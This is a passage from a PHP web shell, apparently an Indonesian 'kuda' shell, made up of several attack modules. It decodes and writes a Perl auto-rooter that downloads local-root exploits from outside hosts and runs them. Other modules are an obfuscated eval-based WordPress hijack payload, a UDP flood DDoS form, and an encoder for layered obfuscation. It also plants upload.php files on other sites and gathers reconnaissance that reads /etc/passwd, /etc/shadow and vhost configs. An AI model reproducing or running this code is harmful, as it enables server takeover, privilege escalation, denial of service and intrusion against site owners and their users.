mlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oIi4vbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHJpdjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7DQpzeXN0ZW0oIi4vcHJpdjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3B3bmtlcm5lbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7DQpzeXN0ZW0oIi4vcHdua2VybmVsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyByb290LnB5Iik7DQpzeXN0ZW0oIi4vcm9vdC5weSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcnVueCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOw0Kc3lzdGVtKCIuL3J1bngiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Rpdm9saSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdGl2b2xpIik7DQpzeXN0ZW0oIi4vdGl2b2xpIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVidW50dSIpOw0Kc3lzdGVtKCIuL3VidW50dSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2UvdHhmZmd2LnppcCIpOw0Kc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7DQpzeXN0ZW0oImNobW9kICt4IHRyb2xsZWQiKTsNCnN5c3RlbSgiLi90cm9sbGVkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oImNobW9kICt4IDNfWCIpOw0Kc3lzdGVtKCIuLzNfWCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0KDQoNCnByaW50ICJFbmQgTGludXguLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gImJzZCIgKQ0Kew0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7DQpwcmludCAiIyBMaW51eC9Cc2QvU3Vub3MgQVVUTy1ST09URVIgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICBSb290aW5nIEJTRCAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnN5c3RlbSgidW5hbWUgLWE7bWtkaXIgYnNkO2NkIGJzZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7DQpzeXN0ZW0oInVuemlwIGp3Z29ibi56aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDQ4bG9jYWwiKTsNCnN5c3RlbSgiLi80OGxvY2FsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7DQpzeXN0ZW0oIi4vYnNkbG9jYWwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJjaG1vZCA3NzcgQlNEMy42X2xvY2Fscm9vdCIpOw0Kc3lzdGVtKCIuL0JTRDMuNl9sb2NhbHJvb3QiKTsNCnN5c3RlbSgiaWQiKTsNCg0KDQoNCg0KcHJpbnQgIkVuZCBCc2QuLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gInN1bm9zIiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgU3Vub3MgICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBzdW5vcztjZCBzdW5vcyIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2Uva2twZ3ZzLnppcCIpOw0Kc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4X29zaC5wbCAiKTsNCnN5c3RlbSgicGVybCB4X29zaC5wbCAiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuOS9zdW5vczU5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7DQpzeXN0ZW0oIi4vc3Vub3M1OSIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS44L2ZpbmFsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmaW5hbCIpOw0Kc3lzdGVtKCIuL2ZpbmFsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7DQpzeXN0ZW0oImNobW9kICt4IHNvbGFyaXMyNyIpOw0Kc3lzdGVtKCIuL3NvbGFyaXMyNyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS4xMC9zdW5vczUxMCIpOw0Kc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOw0Kc3lzdGVtKCIuL3N1bm9zNTEwIik7DQpzeXN0ZW0oImlkIik7DQoNCg0KcHJpbnQgIkVuZCBTdW5PUyAuLlsrXVxuIjsNCn0=';
$chmoderr = fopen("kuda_root/autoroot.pl" ,"w+");
$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
if($write){
print '<p>Script Autoroot is here => '.getcwd().'/kuda_root/autoroot.pl</p>';
fclose($chmoderr);
chmod("kuda_root/autoroot.pl",0755);
//Extracting htaccess to enable perl handler and type all depends on the server :D
$htaccess = 'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLnBsDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBs';
$lol = fopen("kuda_root/.htaccess" ,"w+");
$dwrite = fwrite ($lol ,base64_decode($htaccess));
fclose($chmoderr);
print '<p>Back Connect and go to this directory => cd '.getcwd().'/kuda_root/</p>';
print "<p>Autoroot Command: perl autoroot.pl</p>";
print '</center>';
    }
}
elseif($_GET['do'] == 'hijack_wp') {
$kudagans="lUh6Yts2EP5hwP/hygWQA6SWX+o2Ziy3duquBdouVdJo2EMYlFFbeSRFIanYztr/3qMkWPKytLO+iDzdPffcZlQKXmPB55qZjiMzk3Nz7nSLBUZcLJ0j6B2etFvPp+3WcSFIAjQwXAqPAIGEmVWGHlalNsQ6BFkYpqaTdTD9JEiYKqY1vBUhW8Mb/oUG12Ou+O3xxFKHiVttcNzzNFfbLRZREsg2QgnunP9+bOVLJ3o2McOFbnhQFaPwQruFCfgdGwspGJIMcSzVGH7p//p59Po1oMVUFlmN++katIxsa//b45gtzBj+0+Nbu8UFym4z7W/vT4fSGIaRw+HZTP4NAydhwZeclIU5O3IRW0mumY9t+bkKKdCYL0TaTxgyBTTycQlNBR6JjFbHrrtNrYbd3t1drxvIxB30+kLc3jG+3f7IfdofjW1Ch6PjYSqWBBVBtwm2jUxVbiAvxSNyKQSshB5sT2BOA1xcU6guXCF2ay+FJNMzGW9oLzfwnnOKGyo4hUZwsJ1ZTPQLFkceqrt+VhW9zk86ZHq2us9yldtdoazZpJjStpTALY0z3MQyoGRxVAoEWtCQLqPtgD0YFEVQfarZ3IZ5A1BfJOLHZDiiC76uMhW7H1NxminrPQ/9OkKmFT4/VlK1XuHQNALTSBj6viAPikfNbRBwtFTsugqWK055M9He7/UIKLnC5TNRwyGjYAfmMbvJ+K1UsC48KpFoVGBuPNI7+WvxziuHCqkZ5maRz5SiK2r953n01x+zD5bZlsO0MarNImjmJ7x3SZYOqorLM59fAKQIautWR8nUwcMB+BwULQYPDub2YPztFAbn89YhYnLje75ifi46sONEmHenRe1zlsJFu/D8rvJAG8VGjZpUWWoqYhTc+XxLweXD0lHLDRWY69YucZXOVnbnC6ggRC1RtPcLlM+LcaNi4jn2VrDAZ1dyjuoSj6pPDk4qCDnrFCFZKak6h1t+DTDNb8TCuesUOv488ABCRsw+YFR6fXIZXchibVqajjm9Pm0VSzcZRpsO+Wv+6vR31oS5nF2BjZ4bYW9RaAjilW0jsAOf3swuc/D2FVmhB6RWxgr2qFm0o0haYLAHgfII7FLhG7BLswaRwQNRhnsQEbm8+7Col+WUxEWzzr+12vbk69dXnXc5vMe7+OtJN0GK52fnP+HEPG7O9DK71lmXv/FU1d2O7q5fH3hlQrO90ykWOtPf6JLGY6qzZOd/pSqW+PoO";error_reporting(0);@set_time_limit(0);eval(gzinflate(str_rot13(base64_decode($kudagans))));
}
elseif($_GET['do'] == 'ddos') {
?>
<form action=" " method="post">
<center>
Your IP: <font color="red"><?php echo $_SERVER["REMOTE_ADDR"]; ?></font>&nbsp;( Don't DoS Yourself Noob )
<h3>DDoS Tool</h3>
<table>
<tr><tr><td>IP Target</td><td>:</td>
<td><input type="text" class="inputz" name="ip" size="48" maxlength="25"  value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"/>
</td></tr>
<tr><td>Time</td><td>:</td>
<td><input type="text" class="inputz" name="time" size="48" maxlength="25"  value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"/>
</td></tr>
<tr><td>Port</td><td>:</td>
<td><input type="text" class="inputz" name="port" size="48" maxlength="5"  value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"/>
</td></tr></tr></table><br>
<input type="submit" class="inputzbut" name="fire" value="Fire!">
<br><br>
After initiating the DoS attack, please wait while the browser loads.
</th></center></form></tr></tr></center></form>
<?php
    $submit = $_POST['fire'];
    if (isset($submit)) {
        $packets = 0;
        $ip = $_POST['ip'];
        $rand = $_POST['port'];
        set_time_limit(0);
        ignore_user_abort(FALSE);
        $exec_time = $_POST['time'];
        $time = time();
        print "<br>Flooded: $ip on port $rand <br><br>";
        $max_time = $time + $exec_time;
        for ($i = 0;$i < 65535;$i++) {
            $out.= "X";
        }
        while (1) {
            $packets++;
            if (time() > $max_time) {
                break;
            }
            $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
            if ($fp) {
                fwrite($fp, $out);
                fclose($fp);
            }
        }
        echo "Packet complete at " . time('h:i:s') . " with $packets (" . round(($packets * 65) / 1024, 2) . " mB) packets averaging " . round($packets / $exec_time, 2) . " packets/s ";
    }
}
elseif($_GET['do'] == 'endecode') {
@ini_set('output_buffering',0); 
@ini_set('display_errors', 0);
$text = $_POST['code'];
?>
<center><h3>Encode And Decode By Mr.xBarakuda</h3>
<form method="post"><br>
<textarea cols='60' rows='10' name="code"></textarea><br><br>
<select size="1" name="kuds">
<option value="urlencode">url</option>
<option value="base64">base64</option>
<option value="ur">convert_uu</option>
<option value="json">json</option>
<option value="gzinflates">gzinflate - base64</option>
<option value="str2">str_rot13 - base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="gzinflater">gzinflate - str_rot13 - base64</option>
<option value="gzinflatex">gzinflate - str_rot13 - gzinflate - base64</option>
<option value="gzinflatew">str_rot13-convert_uu-url-gzinflate-str_rot13-base64-convert_uu-gzinflate-url-str_rot13-gzinflate-base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
<option value="url">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
<option value="hexencode">Hex</option>
<option value="str_rot13">ROT13 Hash</option>
<option value="strlen">strlen</option>
<option value="xxx">unescape</option>
<option value="bbb">charAt</option>
<option value="aaa">chr - bin2hex - substr</option>
<option value="www">chr</option>
<option value="sss">htmlspecialchars</option>
<option value="eee">escape</option>
</select>&nbsp;<input type='submit' name='encd' value='Encode'> <input type='submit' name='decd' value='Decode'>
</form></center>
<br>
<?php 
$submit = $_POST['encd'];
if (isset($submit)){
$op = $_POST["kuds"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'json' : $codi=json_encode(utf8_encode($text));
break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;case 'gzinflater' : $codi=base64_encode(str_rot13(gzdeflate($text)));
break;case 'gzinflatex' : $codi=base64_encode(gzdeflate(str_rot13(gzdeflate($text))));
break;case 'gzinflatew' : $codi=base64_encode(gzdeflate(str_rot13(rawurlencode(gzdeflate(convert_uuencode(base64_encode(str_rot13(gzdeflate(convert_uuencode(rawurldecode(str_rot13($text))))))))))));
break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
break;case 'str2' : $codi=base64_encode(str_rot13($text));
break;case 'urlencode' : $codi=rawurlencode($text);
break;case 'ur' : $codi=convert_uuencode($text);
break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
break;case 'hexencode' : $codi=bin2hex($text);
break;case 'str_rot13' : $codi=str_rot13($text);
break;case 'strlen' : $codi=strlen($text);
break;case 'xxx' : $codi=strlen(bin2hex($text));
break;case 'bbb' : $codi=htmlentities(utf8_decode($text));
break;case 'aaa' : $codi=chr(bin2hex(substr($text)));
break;case 'www' : $codi=chr($text);
break;case 'sss' : $codi=htmlspecialchars($text);
break;case 'eee' : $codi=addslashes($text);
break;default:break;}}

$submit = $_POST['decd'];
if (isset($submit)){
$op = $_POST["kuds"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'json' : $codi=utf8_decode(json_decode($text));
break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;case 'gzinflater' : $codi=gzinflate(str_rot13(base64_decode($text)));
break;case 'gzinflatex' : $codi=gzinflate(str_rot13(gzinflate(base64_decode($text))));
break;case 'gzinflatew' : $codi=str_rot13(rawurldecode(convert_uudecode(gzinflate(str_rot13(base64_decode(convert_uudecode(gzinflate(rawurldecode(str_rot13(gzinflate(base64_decode($text))))))))))));
break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
break;case 'str2' : $codi=str_rot13(base64_decode($text));
break;case 'urlencode' : $codi=rawurldecode($text);
break;case 'ur' : $codi=convert_uudecode($text);
break;case 'hexencode' : $codi=quoted_printable_decode($text);
break;case 'url' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
break;default:break;}}
$html = htmlentities(stripslashes($codi));
echo "<textarea cols=60 rows=10>".$html."</textarea><br>";
}
elseif($_GET['do'] == 'zip_menu') {
    echo "<center>";
    echo "<h3>Zip Menu</h3>";
function rmdir_recursive($dir) {
    foreach(scandir($dir) as $file) {
       if ('.' === $file || '..' === $file) continue;
       if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
       else unlink("$dir/$file");
   }
   rmdir($dir);
}
if($_FILES["zip_file"]["name"]) {
    $filename = $_FILES["zip_file"]["name"];
    $source = $_FILES["zip_file"]["tmp_name"];
    $type = $_FILES["zip_file"]["type"];
    $name = explode(".", $filename);
    $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
    foreach($accepted_types as $mime_type) {
        if($mime_type == $type) {
            $okay = true;
            break;
        } 
    }
    $continue = strtolower($name[1]) == 'zip' ? true : false;
    if(!$continue) {
        $message = "Itu Bukan Zip, GOBLOK COK";
    }
  $path = dirname(__FILE__).'/';
  $filenoext = basename ($filename, '.zip'); 
  $filenoext = basename ($filenoext, '.ZIP');
  $targetdir = $path . $filenoext;
  $targetzip = $path . $filename; 
  if (is_dir($targetdir))  rmdir_recursive ( $targetdir);
  mkdir($targetdir, 0777);
    if(move_uploaded_file($source, $targetzip)) {
        $zip = new ZipArchive();
        $x = $zip->open($targetzip); 
        if ($x === true) {
            $zip->extractTo($targetdir);
            $zip->close();
 
            unlink($targetzip);
        }
        $message = "<b>Sukses Cok :)</b>";
    } else {    
        $message = "<b>Error Jancok :(</b>";
    }
}   
echo '<table style="width:100%" border="1">
  <tr><h4>Upload And Unzip</h4><form enctype="multipart/form-data" method="post" action="">
<label>Zip File: <input type="file" name="zip_file" /></label>
<input type="submit" name="submit" value="Upload And Unzip" />
</form><br><br>';
if($message) echo "<p>$message</p>";
echo "</tr><hr color='cyan'><tr><h4>Zip Backup</h4>
<form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><br>
<font style='text-decoration: underline;'>Save To:</font><br>
<input type='text' name='save' value='$dir/kuda_backup.zip' style='width: 450px;' height='10'><br><br>
<input type='submit' name='backup' value='Back Up!' style='width: 215px;'></form><br><br>"; 
    if($_POST['backup']){ 
    $save=$_POST['save'];
    function Zip($source, $destination)
{
    if (extension_loaded('zip') === true)
    {
        if (file_exists($source) === true)
        {
            $zip = new ZipArchive();

            if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
            {
                $source = realpath($source);

                if (is_dir($source) === true)
                {
                    $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);

                    foreach ($files as $file)
                    {
                        $file = realpath($file);

                        if (is_dir($file) === true)
                        {
                            $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
                        }

                        else if (is_file($file) === true)
                        {
                            $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
                        }
                    }
                }

                else if (is_file($source) === true)
                {
                    $zip->addFromString(basename($source), file_get_contents($source));
                }
            }

            return $zip->close();
        }
    }

    return false;
}
    Zip($_POST['dir'],$save);
    echo "Kelar, save ke <b>$save</b>";
    }
    echo "
    </tr><hr color='cyan'><tr><h4>Unzip Manual</h4>
    <form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br>
    <input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><br>
    <font style='text-decoration: underline;'>Save To:</font><br>
    <input type='text' name='save' value='$dir/kuda_unzip' style='width: 450px;' height='10'><br><br>
    <input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form><br><br>
    </div>";
    if($_POST['extrak']){
    $save=$_POST['save'];
    $zip = new ZipArchive;
    $res = $zip->open($_POST['dir']);
    if ($res === TRUE) {
        $zip->extractTo($save);
        $zip->close();
    echo 'Sukses, lokasi ada di: <b>'.$save.'</b>';
    } else {
    echo 'Gagal Cok :( Ntahlah !';
    }
    }
echo '</tr></table>';   
echo "</center>";
}
  elseif($_GET['do'] == 'honey') { ?>
  <center>
  <h3>Make A Trap And Troll The Lamers</h3>
  <p style='color: cyan;'>Honeypot adalah jebakan dalam bentuk bug palsu untuk menjebak hacker</p>
  <form method="post">
    <input type="submit" name="make" value="Make It">
  </form>
  <?php
    $target = explode("
", $_POST['target']);
    if($_POST['make']) {
      foreach($target as $korban) {
        $global = "upload.php";
        $isi_nama_doang = "PD9waHANCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCi8vIFRoaXMgTG9nZ2VkIENvZGVkIEJ5IE1yLnhCYXJha3VkYSAgICAvLw0KLy8gTWFrZSBhIHRyYXAgYW5kIFRyb2xsIHRoZSBMYW1lcnMgOnYgLy8NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ0FzaWEvSmFrYXJ0YScpOw0KJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQokcG9ydCA9ICRfU0VSVkVSWydSRU1PVEVfUE9SVCddOw0KJHByb3RvY29sID0gJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddOw0KJG1ldGhvZCA9ICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddOw0KJGFnZW50ID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KJHRnbCA9IGRhdGUoImQtTS1ZIC8gaDppIGEiKTsNCiRsb2cgPSBmb3Blbigna3VkYV9sb2cudHh0JyAsYSk7DQpmd3JpdGUoJGxvZyAsIi09LT0tPS09LT0tPS0iLiIgIik7DQpmd3JpdGUoJGxvZyAsIiBKRUJBS0FOIEdBTiAiLiIgIik7DQpmd3JpdGUoJGxvZyAsIi09LT0tPS09LT0tPS0iLiIgIik7DQpmd3JpdGUoJGxvZyAsIiBJUCBBZGRyZXNzOiAiLiRpcC4iIExvZ2dlZCBPbiA9PiBbICIuJHRnbC4iIF0iLiIgIik7DQpmd3JpdGUoJGxvZyAsIiBQb3J0IE51bWJlcjogIi4kcG9ydC4iICIpOw0KZndyaXRlKCRsb2cgLCIgUHJvdG9jb2w6ICIuJHByb3RvY29sLiIgIik7DQpmd3JpdGUoJGxvZyAsIiBVc2VyIEFnZW50OiBbICIuJGFnZW50LiIgXSIuIiAiKTsNCmZ3cml0ZSgkbG9nICwiIE1ldGhvZDogIi4kbWV0aG9kLiIgIik7DQpmd3JpdGUoJGxvZyAsIi09LT0tPS09LT0tPS0iLiIgIik7DQo/Pg0KPCFET0NUWVBFIEhUTUw+DQo8aHRtbD4NCiAgICA8aGVhZD4NCiAgICAgICAgPHRpdGxlPlVwbG9hZCBZb3VyIEltYWdlPC90aXRsZT4NCiAgICA8L2hlYWQ+DQogICAgPGJvZHk+DQogICAgICAgIDxmb3JtIGFjdGlvbj0icHJvY2Nlc3NfY2hlY2sucGhwIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICAgICAgPHA+U2VsZWN0IGltYWdlIHRvIHVwbG9hZDo8L3A+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZVRvVXBsb2FkIiBpZD0iZmlsZVRvVXBsb2FkIj4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQgRmlsZSIgbmFtZT0ic3VibWl0Ij4NCiAgICAgICAgPC9mb3JtPg0KICAgIDwvYm9keT4NCjwvaHRtbD4=";
        $decode_isi = base64_decode($isi_nama_doang);
        $encode = base64_encode($global);
        $ss = fopen($global,"w");
        fputs($ss, $decode_isi);
        echo "[+] <a href='$korban' target='_blank'>$korban</a><br>";
        echo "Done Fake Arbitrary Upload Honeypot ada di => ".$dir." [ upload.php ] berhasil di tanam tinggal nunggu siapa kejebak wkwk<br>";
        $url_mkfile = "$korban?cmd=mkfile&name=$global&target=l1_Lw";
        $post1 = array(
            "target" => "l1_$encode",
            "content" => "$decode_isi",);
        $post2 = array( "upload[]" => "@$global",);
        $output_mkfile = ngirim("$korban", $post1);
          $upload_ah = ngirim("$korban?cmd=upload", $post2);
          }
        }
    }
elseif(isset($_GET['do']) && ($_GET['do'] == 'reverse_ip')){
    ?>
  <center>
    <div id="sitelist">
      <a onClick="window.open('https://hackertarget.com/reverse-ip-lookup/','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="https://hackertarget.com/reverse-ip-lookup/">
        <td><font color=lime>> REVERSE IP <</font>
      </a>
      </td>
  </center>
  </div>
  <?
    }
elseif($_GET['do'] == 'infosec') {
echo '<table><th><h3><u>Server security information</u></h3></th><td><div class=content>';
    function showSecParam($n, $v) {
        $v = trim($v);
        if($v) {
            echo '<span>'.$n.': </span>';
            if(strpos($v, "
") === false)
                echo $v. '<br><br>';
            else
                echo '<pre class=ml1>'.$v.'</pre>';
        }
    }
    
    showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
    showSecParam('Open base dir', @ini_get('open_basedir'));
    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
    $temp=array();
    if(function_exists('mysql_get_client_info'))
        $temp[] = "MySql (".mysql_get_client_info().")";
    if(function_exists('mssql_connect'))
        $temp[] = "MSSQL";
    if(function_exists('pg_connect'))
        $temp[] = "PostgreSQL";
    if(function_exists('oci_connect'))
        $temp[] = "Oracle";
    showSecParam('Supported databases', implode(', ', $temp));
    
    if( $GLOBALS['os'] == 'nix' ) {
        $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
        $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
        $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g('FilesTools', '/etc/', 'passwd')'>[view]</a>":'no');
        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g('FilesTools', 'etc', 'shadow')'>[view]</a>":'no');
        showSecParam('OS version', @file_get_contents('/proc/version'));
        showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if(!$GLOBALS['safe_mode']) {
            echo '<br>';
            $temp=array();
            foreach ($userful as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam('Userful', implode(', ',$temp));
            $temp=array();
            foreach ($danger as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam('Danger', implode(', ',$temp));
            $temp=array();
            foreach ($downloaders as $item) 
                if(which($item)){$temp[]=$item;}
            showSecParam('Downloaders', implode(', ',$temp));
            echo '<br/>';
            showSecParam('Hosts', @file_get_contents('/etc/hosts'));
            showSecParam('HDD space', exe('df -h'));
            showSecParam('Mount options', @file_get_contents('/etc/fstab'));
        }
    } else {
        showSecParam('OS Version',exe('ver')); 
        showSecParam('Account Settings',exe('net accounts')); 
        showSecParam('User Accounts',exe('net user'));
    }
    echo '</div></td></table>';
}
elseif($_GET['do'] == 'xaivhost') {
    ?>
    <center>
        <h3>Vhosts Config Grabber</h3>
        <td><form method='post'>
                <div align='center'>
                    <input type='submit' name='elgass' value='Click Here'>
                </div></form></td></center>
<?php
if (isset($_POST['elgass'])) {
@mkdir('xaivhost', 0755);
@chdir('xaivhost');
        $elesem = ".htaccess";
        $elakab = "$elesem";
        $filhat = fopen ($elakab , 'w') or die ("Can't Write htaccess !");
        $htcont = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .cin
AddHandler cgi-script .cin";   
        fwrite($filhat,$htcont ) ;
        fclose($filhat);
